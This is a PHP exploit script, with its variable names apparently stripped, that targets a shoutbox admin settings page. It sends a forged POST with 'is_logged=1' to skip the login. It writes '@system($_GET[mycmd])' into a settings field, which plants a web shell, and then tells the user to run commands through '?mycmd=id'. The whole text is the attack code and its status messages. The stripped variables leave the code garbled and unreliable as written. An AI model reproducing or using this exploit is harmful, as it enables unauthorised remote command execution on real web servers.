= "127.0.0.1";
= "/shout/admin/"; // Starting and trailing slash needed (/sbx/admin/ and such)
echo "[+] URL: http://";
= "set2=basic&admin_set2=standard&lang2=english&plimit2=10&noname2=Guest&refresh2=120&maxname2=30%3B%40system%28%24_GET%5Bmycmd%5D%29&maxmess2=120&maxlink2=120&wordbanning2=1&maxword2=20&wrapstat2=1&postorder2=1&setsubmit=Commit+Changes&is_logged=1";
// Didn't trim up from useless variables such as the submit button, but whatever.
= "POST ?settings HTTP/1.0rn";
.= "Host: ";
.= "Connection: closern";
.= "Content-Type: application/x-www-form-urlencodedrn";
.= "Content-Length: ".strlen()."rnrn";
.= ;
echo "[+] Request built, using:n post datan";
if( = fsockopen(, 80)) {
echo "[+] Connected, sending requestn";
fwrite(, );
echo "[+] Request dumped to server!nnnn";
// = fread(, 1048576); // A megabyte is MORE than enough.
// echo "[~] Server replied:n";
// Eh, uncomment if you wish, I just had to debug this script a bit.
fclose();
echo "Now try http://?mycmd=id to see if exploit was successful...n";
}
else {
echo "[-] Connection failed!n";
exit(-1); }
?>